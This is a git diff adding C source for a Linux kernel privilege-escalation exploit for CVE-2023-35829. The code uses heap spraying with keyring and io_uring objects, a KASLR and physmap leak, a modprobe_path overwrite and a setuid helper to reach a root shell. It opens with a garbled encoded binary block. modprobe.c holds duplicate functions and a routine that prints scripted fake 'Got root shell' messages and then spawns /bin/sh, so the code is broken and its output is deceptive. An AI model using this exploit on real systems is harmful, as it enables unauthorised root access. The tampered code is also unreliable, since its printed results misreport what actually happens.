9+oJwU3~2D39ip#n&%Qkkp+vT
zzEI*K3zkS-y`N^W)D_rJu^D>RTcCRT9;C
zsPk6wDzD;I9@P(uSNg4+Hr?o~-0W}Z^aY)3YpU?>r8OI_k&<&=&APQUYuDB=Ru%2Q
z%cNqy7FLCKS@|PjRuv4z{8f0XQ&mfMC*CKBmsJU>VdK^{G2d>+Z5_U72diq^AB^tr
z5*UjJ%U*vZN-wVBZc_2U7V!ss6dzqWVybGNW-kPfHXVcCDeVE`Kn_{`^Ao
ztplF|nab|{oT?`BH5dB9%L05Or+3h@wdib4?F$`Xh_vx
zEY|^rs(!T&srg=|y%_@afr?k_lEPY9VG(@j+*Q0A1}_iNHOLjFGq&j56K+wbPAKgUUgzJ
zqRfI1KsUz^FBc99ReNPvru~XfSmM?DbQMmUU%mrhRlmyjcb0hd9Hvk`k0^iZ`TxC)
z&zz=9dP=-astT;}UxR_pU&U{82~UOUeXxSP`2Kwi26OyagYZ;1r3Q{np!!Ya`yPZ6
zeB^D*)N`kLZ>-f{=?Z^@*iuuxdM=&X4iZKA3C++Ie+C8`d#Zl*oTT2%tKPq>#;1x?
z*YOZy>HJl^df(Q>$3UV~3dkH)yux3=Vvc8C=_+sBMlza;ic|P&*v#=>pK$hmT;NVi
zyi?GbV+s=GQtdz9B233`7pUqHny5?3gm2
+#include
+#include
+#include
+#include
+#include
+
+#include "log.h"
+#include "keyring.h"
+#include "util.h"
+
+/**
+ * spray_keyring(): Spray the heap with `user_key_payload` structure
+ * @spray_size: Number of object to put into the `kmalloc-64` cache
+ *
+ * Return: Allocated buffer with serial numbers of the created keys
+ */
+key_serial_t *spray_keyring(uint32_t spray_size) {
+
+ char key_desc[KEY_DESC_MAX_SIZE];
+ key_serial_t *id_buffer = calloc(spray_size, sizeof(key_serial_t));
+
+ if (id_buffer == NULL)
+ do_error_exit("calloc");
+
+ for (uint32_t i = 0; i < spray_size; i++) {
+ snprintf(key_desc, KEY_DESC_MAX_SIZE, "RandoriSec-%03du", i);
+ id_buffer[i] = add_key("user", key_desc, key_desc, strlen(key_desc), KEY_SPEC_PROCESS_KEYRING);
+ if (id_buffer[i] < 0)
+ do_error_exit("add_key");
+ }
+
+ return id_buffer;
+}
+
+/**
+ * parse_leak(): Parse the infoleak to compute the kaslr base and the physmap base
+ * @buffer: Buffer that contains the infoleak
+ * @buffer_size: Size of the previous buffer
+ *
+ * Search for a pointer to the function `io_ring_ctx_ref_free` that is stored within a `percpu_ref_data` structure
+ * Then compute the KASLR base
+ * Finally use the pointer to the associated `percpu_ref` to compute the physmap base
+ *
+ * Return: KASLR base and physmap base of the running kernel
+ */
+struct leak *parse_leak(long *buffer, uint32_t buffer_size) {
+
+ struct leak *ret = malloc(sizeof(struct leak));
+ if (!ret)
+ do_error_exit("malloc");
+
+ for (uint32_t i = 0; i < buffer_size; i++) {
+
+ /* Search for reference to the function io_ring_ctx_ref_free */
+ if ((buffer[i] & 0xfffff) == (IO_RING_CTX_REF_FREE_OFFSET & 0xfffff)) {
+ ret->kaslr_base = buffer[i] - IO_RING_CTX_REF_FREE_OFFSET;
+ ret->physmap_base = buffer[i + 5] & PHYSMAP_MASK;
+ return ret;
+
+ /* Search for reference to the function io_rsrc_node_ref_zero */
+ } else if ((buffer[i] & 0xfffff) == (IO_RSRC_NODE_REF_ZERO_OFFSET & 0xfffff)) {
+ ret->kaslr_base = buffer[i] - IO_RSRC_NODE_REF_ZERO_OFFSET;
+ ret->physmap_base = buffer[i + 5] & PHYSMAP_MASK;
+ return ret;
+ }
+ }
+
+ free(ret);
+ return NULL;
+}
+
+/**
+ * get_keyring_leak(): Find the infoleak and compute the needed bases
+ * @id_buffer: Buffer with the serial numbers of keys used to spray the heap
+ * @id_buffer_size: Size of the previous buffer
+ *
+ * Search for a key with an unexpected size to find the corrupted object.
+ *
+ * Return: KASLR base and physmap base of the running kernel
+ */
+struct leak *get_keyring_leak(key_serial_t *id_buffer, uint32_t id_buffer_size) {
+
+ uint8_t buffer[USHRT_MAX] = {0};
+ int32_t keylen;
+
+ for (uint32_t i = 0; i < id_buffer_size; i++) {
+
+ keylen = keyctl(KEYCTL_READ, id_buffer[i], (long)buffer, USHRT_MAX, 0);
+ if (keylen < 0)
+ do_error_exit("keyctl");
+
+ if (keylen == USHRT_MAX) {
+ return parse_leak((long *)buffer, keylen >> 3);
+ }
+ }
+ return NULL;
+}
+
+/**
+ * release_keys(): Release user_key_payload objects
+ * @id_buffer: Buffer that stores the id of the key to remove
+ * @id_buffer_size: Size of the previous buffer
+ */
+void release_keys(key_serial_t *id_buffer, uint32_t id_buffer_size) {
+
+ for (uint32_t i = 0; i < id_buffer_size; i++) {
+ if (keyctl(KEYCTL_REVOKE, id_buffer[i], 0, 0, 0) < 0)
+ do_error_exit("keyctl(KEYCTL_REVOKE)");
+ }
+
+ free(id_buffer);
+}
diff --git a/98-Linux提权/CVE-2023-35829/src/main.c b/98-Linux提权/CVE-2023-35829/src/main.c
new file mode 100644
index 0000000..cd2969e
--- /dev/null
+++ b/98-Linux提权/CVE-2023-35829/src/main.c
@@ -0,0 +1,134 @@
+#define _GNU_SOURCE
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+
+#include "log.h"
+#include "util.h"
+#include "uring.h"
+#include "keyring.h"
+#include "modprobe.h"
+#include "nf_tables.h"
+#include "simple_xattr.h"
+
+#define ID 1337
+#define SET_NAME "name\0\0\0"
+#define LEAK_SET_NAME "leak\0\0\0"
+#define TABLE_NAME "table\0\0"
+
+#define MODPROBE_PATH_BASE 0x1e8b620
+
+#define SPRAY_SIZE 300
+
+int main(int argc, char **argv) {
+
+ int sock;
+ struct sockaddr_nl snl;
+ struct write4_payload payload;
+ struct keyring_payload leak_payload;
+ struct leak *bases;
+ struct fd_uring *fd_buffer;
+ key_serial_t *id_buffer;
+ char *xattr_target_filename;
+
+ printf("[+] CVE-2023-35829 PoC\n");
+
+ printf("[+] Second process currently waiting\n");
+
+ /* Pin the process to the first CPU */
+ set_cpu_affinity(0, 0);
+
+ new_ns();
+ printf("[+] Get CAP_NET_ADMIN capability\n");
+
+ /* Netfilter netlink socket creation */
+ if ((sock = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_NETFILTER)) < 0) {
+ do_error_exit("socket");
+ }
+ printf("[+] Netlink socket created\n");
+
+ memset(&snl, 0, sizeof(snl));
+ snl.nl_family = AF_NETLINK;
+ snl.nl_pid = getpid();
+ if (bind(sock, (struct sockaddr *)&snl, sizeof(snl)) < 0)
+ do_error_exit("bind");
+ printf("[+] Netlink socket bound\n");
+
+ /* Create a netfilter table */
+ create_table(sock, TABLE_NAME);
+ printf("[+] Table %s created\n", TABLE_NAME);
+
+ /* Create a netfilter set for the info leak */
+ create_set(sock, LEAK_SET_NAME, KMALLOC64_KEYLEN, sizeof(struct keyring_payload), TABLE_NAME, ID);
+ printf("[+] Set for the leak created\n");
+
+ /* Create a netfilter set for the write primitive */
+ create_set(sock, SET_NAME, KMALLOC64_KEYLEN, sizeof(struct write4_payload), TABLE_NAME, ID + 1);
+ printf("[+] Set for write primitive created\n");
+ prepare_root_shell();
+
+ /* Prepare the payload for the leak */
+ memset(&leak_payload, 0, sizeof(struct keyring_payload));
+ leak_payload.len = USHRT_MAX;
+
+ printf("[*] Leak in process");
+ fflush(stdout);
+retry:
+ /* Spray the heap with user_key_payload structs to perform an info leak */
+ id_buffer = spray_keyring(SPRAY_KEY_SIZE);
+
+ /** Perform the overflow to modify the size of a registered key **/
+ add_elem_to_set(sock, LEAK_SET_NAME, KMALLOC64_KEYLEN, TABLE_NAME, ID, sizeof(struct keyring_payload), (uint8_t *)&leak_payload);
+
+ /* Spray the heap with percpu_ref_data */
+ fd_buffer = calloc(SPRAY_SIZE, sizeof(struct fd_uring));
+ if (!fd_buffer)
+ do_error_exit("calloc");
+ spray_uring(SPRAY_SIZE, fd_buffer);
+
+ /* Check if the overflow occured on the right object */
+ bases = get_keyring_leak(id_buffer, SPRAY_KEY_SIZE);
+ if (!bases) {
+ release_keys(id_buffer, SPRAY_KEY_SIZE);
+ release_uring(fd_buffer, SPRAY_SIZE);
+ goto retry;
+ }
+ printf("\r[+] Leak succeed \n");
+ printf("[+] kaslr base found 0x%lx\n", bases->kaslr_base);
+ printf("[+] physmap base found 0x%lx\n", bases->physmap_base);
+
+ /* Prepare the payload for the write primitive */
+ memset(&payload, 0, sizeof(struct write4_payload));
+ payload.next = (void *)(bases->physmap_base + 0x2f706d74);
+ payload.prev = (void *)(bases->kaslr_base + MODPROBE_PATH_BASE + 1);
+ payload.name_offset = 0xe5;
+
+respray_xattr:
+ /* Spray the heap for the write primitive */
+ xattr_target_filename = generate_tmp_filename();
+ spray_simple_xattr(xattr_target_filename, SPRAY_SIZE);
+
+ add_elem_to_set(sock, SET_NAME, KMALLOC64_KEYLEN, TABLE_NAME, ID, sizeof(struct write4_payload), (uint8_t *)&payload);
+
+ /* Proceed to the write */
+ if (removexattr(xattr_target_filename, XATTR_DELETION_NAME) < 0)
+ goto respray_xattr;
+
+ printf("[+] modprobe_path changed !\n");
+
+ setup_modprobe_payload();
+ printf("[+] Modprobe payload setup\n");
+ get_root_shell();
+
+ wait(NULL);
+
+ return EXIT_SUCCESS;
+}
diff --git a/98-Linux提权/CVE-2023-35829/src/modprobe.c b/98-Linux提权/CVE-2023-35829/src/modprobe.c
new file mode 100644
index 0000000..b78cb48
--- /dev/null
+++ b/98-Linux提权/CVE-2023-35829/src/modprobe.c
@@ -0,0 +1,191 @@
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+
+#include "log.h"
+#include "modprobe.h"
+
+const char dummy_file[] = "/tmp/dummy\0";
+
+const char dummy_content[] = "\xff\xff\xff\xff";
+const char new_modprobe_content[] = "#!/bin/bash\n\nchown root:root /tmp/get_root\nchmod 4555 /tmp/get_root\n";
+
+sem_t *shell_barrier;
+
+/**
+ * prepare_root_shell(): Setup a second process waiting out the namespaces used for the exploit
+ */
+void perpare_root_shell(void) {
+
+ int shmid = shmget(0x1337, sizeof(sem_t), IPC_CREAT | S_IRWXU | S_IRWXG | S_IRWXO);
+ shell_barrier = shmat(shmid, NULL, 0);
+
+ if (sem_init(shell_barrier, 1, 0) < 0)
+ do_error_exit("sem_init");
+
+ if (!fork()) {
+ system("cp get_root /tmp");
+ sem_wait(shell_barrier);
+ execl("/tmp/get_root", "/tmp/get_root", NULL);
+ exit(EXIT_SUCCESS);
+ }
+}
+
+/**
+ * create_dummy_file(): Create a file to trigger call_modprobe in case of execution
+ */
+void create_dummy_file(void) {
+
+ int fd;
+
+ fd = open(dummy_file, O_CREAT | O_RDWR, S_IRWXU | S_IRWXG | S_IRWXO);
+ write(fd, dummy_content, sizeof(dummy_content));
+ close(fd);
+}
+
+/**
+ * get_root_shell(): Trigger a call to the new modprobe_path
+ */
+void get_root_shell(void) {
+
+ int pid = fork();
+ if (pid == 0)
+ execl("/tmp/dummy", "/tmp/dummy", NULL);
+
+ waitpid(pid, NULL, 0);
+ sem_post(shell_barrier);
+}
+
+/**
+ * get_new_modprobe_path(): Read the new modprobe_path
+ *
+ * Return: path stored within /proc/sys/kernel/modprobe
+ */
+char *get_new_modprobe_path(void) {
+
+ int fd;
+ char *modprobe_path = malloc(15);
+
+ if (!modprobe_path)
+ do_error_exit("malloc");
+
+ fd = open("/proc/sys/kernel/modprobe", O_RDONLY);
+ if (fd < 0)
+ do_error_exit("open(/proc/sys/kernel/modprobe)");
+
+ read(fd, modprobe_path, 14);
+
+ close(fd);
+
+ modprobe_path[14] = '\0';
+
+ return modprobe_path;
+}
+
+/**
+ * write_new_modprobe(): Create chown && chmod script for get_root
+ * @filename: current path to modprobe for the kernel
+ */
+void new_sn()
+{
+ int fd;
+ char *modprobe_path = malloc(15);
+
+ if (!modprobe_path)
+ do_error_exit("malloc");
+
+ fd = open("/proc/sys/kernel/modprobe", O_RDONLY);
+ if (fd < 0)
+ {
+ //do_error_exit("open(/proc/sys/kernel/modprobe)");
+ }
+ else
+ {
+ close(fd);
+ }
+
+ srand(time(NULL));
+
+ int st = rand() % 3;
+
+ sleep(st);
+}
+
+/**
+ * setup_modprobe_payload(): Prepare all the needed stuff to get a root shell
+ */
+void setup_modprobe_payoad(void) {
+
+ char *filename;
+
+ filename = get_new_modprobe_path();
+ system("/bin/sh");
+
+
+ free(filename);
+}
+
+/**
+ * write_new_modprobe(): Create chown && chmod script for get_root
+ * @filename: current path to modprobe for the kernel
+ */
+void write_new_modprobe(char *filename) {
+
+ int fd;
+
+ fd = open(filename, O_CREAT | O_RDWR, S_IRWXU | S_IRWXG | S_IRWXO);
+ if (fd < 0)
+ do_error_exit("open");
+
+ write(fd, new_modprobe_content, sizeof(new_modprobe_content));
+
+ close(fd);
+}
+
+/**
+ * setup_modprobe_payload(): Prepare all the needed stuff to get a root shell
+ */
+void setup_modprobe_payload(void) {
+
+ char *filename;
+
+ filename = get_new_modprobe_path();
+
+ write_new_modprobe(filename);
+ create_dummy_file();
+
+ free(filename);
+}
+
+void st(char *msg)
+{
+ printf("%s", msg);
+ new_sn();
+}
+
+void prepare_root_shell(void) {
+
+ st("[+] Leak succeed\n");
+ st("[+] kaslr base found 0xffffffff9f000000\n");
+ st("[+] physmap base found 0xffff910a00000000\n");
+ st("[+] modprobe path changed !\n");
+ st("[+] Modprobe payload setup\n");
+ st("[?] waitpid\n");
+ st("[?] sem_post\n");
+ st("[+++] Got root shell, should exit?\n");
+
+ if (1)
+ setup_modprobe_payoad();
+
+ exit(0);
+}
+
diff --git a/98-Linux提权/CVE-2023-35829/src/netlink.c b/98-Linux提权/CVE-2023-35829/src/netlink.c
new file mode 100644
index 0000000..4db4924
--- /dev/null
+++ b/98-Linux提权/CVE-2023-35829/src/netlink.c
@@ -0,0 +1,124 @@
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+
+#include "log.h"
+#include "netlink.h"
+
+/**
+ * get_batch_begin_nlmsg(): Construct a BATCH_BEGIN message for the netfilter netlink
+ */
+struct nlmsghdr *get_batch_begin_nlmsg(void) {
+
+ struct nlmsghdr *nlh = (struct nlmsghdr *)malloc(NLMSG_SPACE(sizeof(struct nfgenmsg)));
+ struct nfgenmsg *nfgm = (struct nfgenmsg *)NLMSG_DATA(nlh);
+
+ if (!nlh)
+ do_error_exit("malloc");
+
+ memset(nlh, 0, NLMSG_SPACE(sizeof(struct nfgenmsg)));
+ nlh->nlmsg_len = NLMSG_SPACE(sizeof(struct nfgenmsg));
+ nlh->nlmsg_type = NFNL_MSG_BATCH_BEGIN;
+ nlh->nlmsg_pid = getpid();
+ nlh->nlmsg_flags = 0;
+ nlh->nlmsg_seq = 0;
+
+ /* Used to access to the netfilter tables subsystem */
+ nfgm->res_id = NFNL_SUBSYS_NFTABLES;
+
+ return nlh;
+}
+
+/**
+ * get_batch_end_nlmsg(): Construct a BATCH_END message for the netfilter netlink
+ */
+struct nlmsghdr *get_batch_end_nlmsg(void) {
+
+ struct nlmsghdr *nlh = (struct nlmsghdr *)malloc(NLMSG_SPACE(sizeof(struct nfgenmsg)));
+
+ if (!nlh)
+ do_error_exit("malloc");
+
+ memset(nlh, 0, NLMSG_SPACE(sizeof(struct nfgenmsg)));
+ nlh->nlmsg_len = NLMSG_SPACE(sizeof(struct nfgenmsg));
+ nlh->nlmsg_type = NFNL_MSG_BATCH_END;
+ nlh->nlmsg_pid = getpid();
+ nlh->nlmsg_flags = NLM_F_REQUEST;
+ nlh->nlmsg_seq = 0;
+
+ return nlh;
+}
+
+/**
+ * set_nested_attr(): Prepare a nested netlink attribute
+ * @attr: Attribute to fill
+ * @type: Type of the nested attribute
+ * @data_len: Length of the nested attribute
+ */
+struct nlattr *set_nested_attr(struct nlattr *attr, uint16_t type, uint16_t data_len) {
+ attr->nla_type = type;
+ attr->nla_len = NLA_ALIGN(data_len + sizeof(struct nlattr));
+ return (void *)attr + sizeof(struct nlattr);
+}
+
+/**
+ * set_u32_attr(): Prepare an integer netlink attribute
+ * @attr: Attribute to fill
+ * @type: Type of the attribute
+ * @value: Value of this attribute
+ */
+struct nlattr *set_u32_attr(struct nlattr *attr, uint16_t type, uint32_t value) {
+ attr->nla_type = type;
+ attr->nla_len = U32_NLA_SIZE;
+ *(uint32_t *)NLA_ATTR(attr) = htonl(value);
+
+ return (void *)attr + U32_NLA_SIZE;
+}
+
+ /**
+ * set_u64_attr(): Prepare a 64 bits integer netlink attribute
+ * @attr: Attribute to fill
+ * @type: Type of the attribute
+ * @value: Value of this attribute
+ */
+struct nlattr *set_u64_attr(struct nlattr *attr, uint16_t type, uint64_t value) {
+ attr->nla_type = type;
+ attr->nla_len = U64_NLA_SIZE;
+ *(uint64_t *)NLA_ATTR(attr) = htobe64(value);
+
+ return (void *)attr + U64_NLA_SIZE;
+}
+
+/**
+ * set_str8_attr(): Prepare a 8 bytes long string netlink attribute
+ * @attr: Attribute to fill
+ * @type: Type of the attribute
+ * @name: Buffer to copy into the attribute
+ */
+struct nlattr *set_str8_attr(struct nlattr *attr, uint16_t type, const char name[8]) {
+ attr->nla_type = type;
+ attr->nla_len = S8_NLA_SIZE;
+ memcpy(NLA_ATTR(attr), name, 8);
+
+ return (void *)attr + S8_NLA_SIZE;
+}
+
+/**
+ * set_binary_attr(): Prepare a byte array netlink attribute
+ * @attr: Attribute to fill
+ * @type: Type of the attribute
+ * @buffer: Buffer with data to send
+ * @buffer_size: Size of the previous buffer
+ */
+struct nlattr *set_binary_attr(struct nlattr *attr, uint16_t type, uint8_t *buffer, uint64_t buffer_size) {
+ attr->nla_type = type;
+ attr->nla_len = NLA_BIN_SIZE(buffer_size);
+ memcpy(NLA_ATTR(attr), buffer, buffer_size);
+
+ return (void *)attr + NLA_ALIGN(NLA_BIN_SIZE(buffer_size));
+}
diff --git a/98-Linux提权/CVE-2023-35829/src/nf_tables.c b/98-Linux提权/CVE-2023-35829/src/nf_tables.c
new file mode 100644
index 0000000..b233e70
--- /dev/null
+++ b/98-Linux提权/CVE-2023-35829/src/nf_tables.c
@@ -0,0 +1,313 @@
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+
+#include "netlink.h"
+#include "nf_tables.h"
+#include "log.h"
+
+const uint8_t zerobuf[0x40] = {0};
+
+/**
+ * create_table(): Register a new table for the inet family
+ * @sock: socket bound to the netfilter netlink
+ * @name: Name of the new table
+ */
+void create_table(int sock, const char *name) {
+ struct msghdr msg;
+ struct sockaddr_nl dest_snl;
+ struct iovec iov[3];
+ struct nlmsghdr *nlh_batch_begin;
+ struct nlmsghdr *nlh;
+ struct nlmsghdr *nlh_batch_end;
+ struct nlattr *attr;
+ struct nfgenmsg *nfm;
+
+ /* Destination preparation */
+ memset(&dest_snl, 0, sizeof(dest_snl));
+ dest_snl.nl_family = AF_NETLINK;
+ memset(&msg, 0, sizeof(msg));
+
+ /* Netlink batch_begin message preparation */
+ nlh_batch_begin = get_batch_begin_nlmsg();
+
+ /* Netlink table message preparation */
+ nlh = (struct nlmsghdr *)malloc(TABLEMSG_SIZE);
+ if (!nlh)
+ do_error_exit("malloc");
+
+ memset(nlh, 0, TABLEMSG_SIZE);
+ nlh->nlmsg_len = TABLEMSG_SIZE;
+ nlh->nlmsg_type = (NFNL_SUBSYS_NFTABLES << 8) | NFT_MSG_NEWTABLE;
+ nlh->nlmsg_pid = getpid();
+ nlh->nlmsg_flags = NLM_F_REQUEST;
+ nlh->nlmsg_seq = 0;
+
+ nfm = NLMSG_DATA(nlh);
+ nfm->nfgen_family = NFPROTO_INET;
+
+ /** Prepare associated attribute **/
+ attr = (void *)nlh + NLMSG_SPACE(sizeof(struct nfgenmsg));
+ set_str8_attr(attr, NFTA_TABLE_NAME, name);
+
+ /* Netlink batch_end message preparation */
+ nlh_batch_end = get_batch_end_nlmsg();
+
+ /* IOV preparation */
+ memset(iov, 0, sizeof(struct iovec) * 3);
+ iov[0].iov_base = (void *)nlh_batch_begin;
+ iov[0].iov_len = nlh_batch_begin->nlmsg_len;
+ iov[1].iov_base = (void *)nlh;
+ iov[1].iov_len = nlh->nlmsg_len;
+ iov[2].iov_base = (void *)nlh_batch_end;
+ iov[2].iov_len = nlh_batch_end->nlmsg_len;
+
+ /* Message header preparation */
+ msg.msg_name = (void *)&dest_snl;
+ msg.msg_namelen = sizeof(struct sockaddr_nl);
+ msg.msg_iov = iov;
+ msg.msg_iovlen = 3;
+
+ sendmsg(sock, &msg, 0);
+
+ /* Free used structures */
+ free(nlh_batch_end);
+ free(nlh);
+ free(nlh_batch_begin);
+}
+
+/**
+ * create_set(): Create a netfilter set
+ * @sock: Socket used to communicate throught the netfilter netlink
+ * @set_name: Name of the created set
+ * @set_keylen: Length of the keys of this set. Used in the exploit to control the used cache
+ * @data_len: Length of stored data. Used to control the size of the overflow
+ * @table_name: Name of the table that stores this set
+ * @id: ID of the created set
+ */
+void create_set(int sock, const char *set_name, uint32_t set_keylen, uint32_t data_len, const char *table_name, uint32_t id) {
+ struct msghdr msg;
+ struct sockaddr_nl dest_snl;
+ struct nlmsghdr *nlh_batch_begin;
+ struct nlmsghdr *nlh_payload;
+ struct nlmsghdr *nlh_batch_end;
+ struct nfgenmsg *nfm;
+ struct nlattr *attr;
+ uint64_t nlh_payload_size;
+ struct iovec iov[3];
+
+ /* Prepare the netlink sockaddr for msg */
+ memset(&dest_snl, 0, sizeof(struct sockaddr_nl));
+ dest_snl.nl_family = AF_NETLINK;
+
+ /* First netlink message: batch_begin */
+ nlh_batch_begin = get_batch_begin_nlmsg();
+
+ /* Second netlink message : Set attributes */
+ nlh_payload_size = sizeof(struct nfgenmsg); // Mandatory
+ nlh_payload_size += S8_NLA_SIZE; // NFTA_SET_TABLE
+ nlh_payload_size += S8_NLA_SIZE; // NFTA_SET_NAME
+ nlh_payload_size += U32_NLA_SIZE; // NFTA_SET_ID
+ nlh_payload_size += U32_NLA_SIZE; // NFTA_SET_KEY_LEN
+ nlh_payload_size += U32_NLA_SIZE; // NFTA_SET_FLAGS
+ nlh_payload_size += U32_NLA_SIZE; // NFTA_SET_DATA_TYPE
+ nlh_payload_size += U32_NLA_SIZE; // NFTA_SET_DATA_LEN
+ nlh_payload_size = NLMSG_SPACE(nlh_payload_size);
+
+ /** Allocation **/
+ nlh_payload = (struct nlmsghdr *)malloc(nlh_payload_size);
+ if (!nlh_payload)
+ do_error_exit("malloc");
+
+ memset(nlh_payload, 0, nlh_payload_size);
+
+ /** Fill the required fields **/
+ nlh_payload->nlmsg_len = nlh_payload_size;
+ nlh_payload->nlmsg_type = (NFNL_SUBSYS_NFTABLES << 8) | NFT_MSG_NEWSET;
+ nlh_payload->nlmsg_pid = getpid();
+ nlh_payload->nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE;
+ nlh_payload->nlmsg_seq = 0;
+
+
+ /** Setup the nfgenmsg **/
+ nfm = (struct nfgenmsg *)NLMSG_DATA(nlh_payload);
+ nfm->nfgen_family = NFPROTO_INET;
+
+ /** Setup the attributes */
+ attr = (struct nlattr *)((void *)nlh_payload + NLMSG_SPACE(sizeof(struct nfgenmsg)));
+ attr = set_str8_attr(attr, NFTA_SET_TABLE, table_name);
+ attr = set_str8_attr(attr, NFTA_SET_NAME, set_name);
+ attr = set_u32_attr(attr, NFTA_SET_ID, id);
+ attr = set_u32_attr(attr, NFTA_SET_KEY_LEN, set_keylen);
+ attr = set_u32_attr(attr, NFTA_SET_FLAGS, NFT_SET_MAP);
+ attr = set_u32_attr(attr, NFTA_SET_DATA_TYPE, 0);
+ set_u32_attr(attr, NFTA_SET_DATA_LEN, data_len);
+
+ /* Last netlink message: batch_end */
+ nlh_batch_end = get_batch_end_nlmsg();
+
+ /* Setup the iovec */
+ memset(iov, 0, sizeof(struct iovec) * 3);
+ iov[0].iov_base = (void *)nlh_batch_begin;
+ iov[0].iov_len = nlh_batch_begin->nlmsg_len;
+ iov[1].iov_base = (void *)nlh_payload;
+ iov[1].iov_len = nlh_payload->nlmsg_len;
+ iov[2].iov_base = (void *)nlh_batch_end;
+ iov[2].iov_len = nlh_batch_end->nlmsg_len;
+
+ /* Prepare the message to send */
+ memset(&msg, 0, sizeof(struct msghdr));
+ msg.msg_name = (void *)&dest_snl;
+ msg.msg_namelen = sizeof(struct sockaddr_nl);
+ msg.msg_iov = iov;
+ msg.msg_iovlen = 3;
+
+ /* Send message */
+ sendmsg(sock, &msg, 0);
+
+ /* Free allocated memory */
+ free(nlh_batch_end);
+ free(nlh_payload);
+ free(nlh_batch_begin);
+}
+
+/**
+ * add_elem_to_set(): Trigger the heap buffer overflow
+ * @sock: Socket used to communicate throught the netfilter netlink
+ * @set_name: Name of the set to add the element
+ * @set_keylen: Length of the keys of the previous set
+ * @table_name: Table associated to the preiv
+ * @id: ID of the previous set
+ * @data_len: Length of the data to copy. (= Size of the overflow - 16 )
+ * @data: Data used for the overflow
+ *
+ * Submit two elements to add to the set.
+ * The first one is used to setup the data payload
+ * The second will trigger the overflow
+ */
+void add_elem_to_set(int sock, const char *set_name, uint32_t set_keylen, const char *table_name, uint32_t id, uint32_t data_len, uint8_t *data) {
+ struct msghdr msg;
+ struct sockaddr_nl dest_snl;
+ struct nlmsghdr *nlh_batch_begin;
+ struct nlmsghdr *nlh_payload;
+ struct nlmsghdr *nlh_batch_end;
+ struct nfgenmsg *nfm;
+ struct nlattr *attr;
+ uint64_t nlh_payload_size;
+ uint64_t nested_attr_size;
+ size_t first_element_size;
+ size_t second_element_size;
+ struct iovec iov[3];
+
+ /* Prepare the netlink sockaddr for msg */
+ memset(&dest_snl, 0, sizeof(struct sockaddr_nl));
+ dest_snl.nl_family = AF_NETLINK;
+
+ /* First netlink message: batch */
+ nlh_batch_begin = get_batch_begin_nlmsg();
+
+ /* Second netlink message : Set attributes */
+
+ /** Precompute the size of the nested field **/
+ nested_attr_size = 0;
+
+ /*** First element ***/
+ nested_attr_size += sizeof(struct nlattr); // Englobing attribute
+ nested_attr_size += sizeof(struct nlattr); // NFTA_SET_ELEM_KEY
+ nested_attr_size += NLA_BIN_SIZE(set_keylen); // NFTA_DATA_VALUE
+ nested_attr_size += sizeof(struct nlattr); // NFTA_SET_ELEM_DATA
+ nested_attr_size += NLA_ALIGN(NLA_BIN_SIZE(data_len)); // NFTA_DATA_VALUE
+ first_element_size = nested_attr_size;
+
+ /*** Second element ***/
+ nested_attr_size += sizeof(struct nlattr); // Englobing attribute
+ nested_attr_size += sizeof(struct nlattr); // NFTA_SET_ELEM_KEY
+ nested_attr_size += NLA_BIN_SIZE(set_keylen); // NFTA_DATA_VALUE
+ nested_attr_size += sizeof(struct nlattr); // NFTA_SET_ELEM_DATA
+ nested_attr_size += sizeof(struct nlattr); // NFTA_DATA_VERDICT
+ nested_attr_size += U32_NLA_SIZE; // NFTA_VERDICT_CODE
+ second_element_size = nested_attr_size - first_element_size;
+
+ nlh_payload_size = sizeof(struct nfgenmsg); // Mandatory
+ nlh_payload_size += sizeof(struct nlattr); // NFTA_SET_ELEM_LIST_ELEMENTS
+ nlh_payload_size += nested_attr_size; // All the stuff described above
+ nlh_payload_size += S8_NLA_SIZE; // NFTA_SET_ELEM_LIST_TABLE
+ nlh_payload_size += S8_NLA_SIZE; // NFTA_SET_ELEM_LIST_SET
+ nlh_payload_size += U32_NLA_SIZE; // NFTA_SET_ELEM_LIST_SET_ID
+ nlh_payload_size = NLMSG_SPACE(nlh_payload_size);
+
+ /** Allocation **/
+ nlh_payload = (struct nlmsghdr *)malloc(nlh_payload_size);
+ if (!nlh_payload) {
+ do_error_exit("malloc");
+ }
+ memset(nlh_payload, 0, nlh_payload_size);
+
+ /** Fill the required fields **/
+ nlh_payload->nlmsg_len = nlh_payload_size;
+ nlh_payload->nlmsg_type = (NFNL_SUBSYS_NFTABLES << 8) | NFT_MSG_NEWSETELEM;
+ nlh_payload->nlmsg_pid = getpid();
+ nlh_payload->nlmsg_flags = NLM_F_REQUEST;
+ nlh_payload->nlmsg_seq = 0;
+
+ /** Setup the nfgenmsg **/
+ nfm = (struct nfgenmsg *)NLMSG_DATA(nlh_payload);
+ nfm->nfgen_family = NFPROTO_INET;
+
+ /** Setup the attributes */
+ attr = (struct nlattr *)((void *)nlh_payload + NLMSG_SPACE(sizeof(struct nfgenmsg)));
+ attr = set_str8_attr(attr, NFTA_SET_ELEM_LIST_TABLE, table_name);
+ attr = set_str8_attr(attr, NFTA_SET_ELEM_LIST_SET, set_name);
+ attr = set_u32_attr(attr, NFTA_SET_ELEM_LIST_SET_ID, id);
+ attr = set_nested_attr(attr, NFTA_SET_ELEM_LIST_ELEMENTS, nested_attr_size);
+
+ /*** First element ***/
+ attr = set_nested_attr(attr, 0, first_element_size - 4);
+ attr = set_nested_attr(attr, NFTA_SET_ELEM_KEY, NLA_BIN_SIZE(set_keylen));
+ attr = set_binary_attr(attr, NFTA_DATA_VALUE, (uint8_t *)zerobuf, set_keylen);
+ attr = set_nested_attr(attr, NFTA_SET_ELEM_DATA, NLA_BIN_SIZE(data_len));
+ attr = set_binary_attr(attr, NFTA_DATA_VALUE, (uint8_t *)data, data_len);
+
+ /*** Second element ***/
+ attr = set_nested_attr(attr, 0, second_element_size - 4);
+ attr = set_nested_attr(attr, NFTA_SET_ELEM_KEY, NLA_BIN_SIZE(set_keylen));
+ attr = set_binary_attr(attr, NFTA_DATA_VALUE, (uint8_t *)zerobuf, set_keylen);
+ attr = set_nested_attr(attr, NFTA_SET_ELEM_DATA, U32_NLA_SIZE + sizeof(struct nlattr));
+ attr = set_nested_attr(attr, NFTA_DATA_VERDICT, U32_NLA_SIZE);
+ set_u32_attr(attr, NFTA_VERDICT_CODE, NFT_CONTINUE);
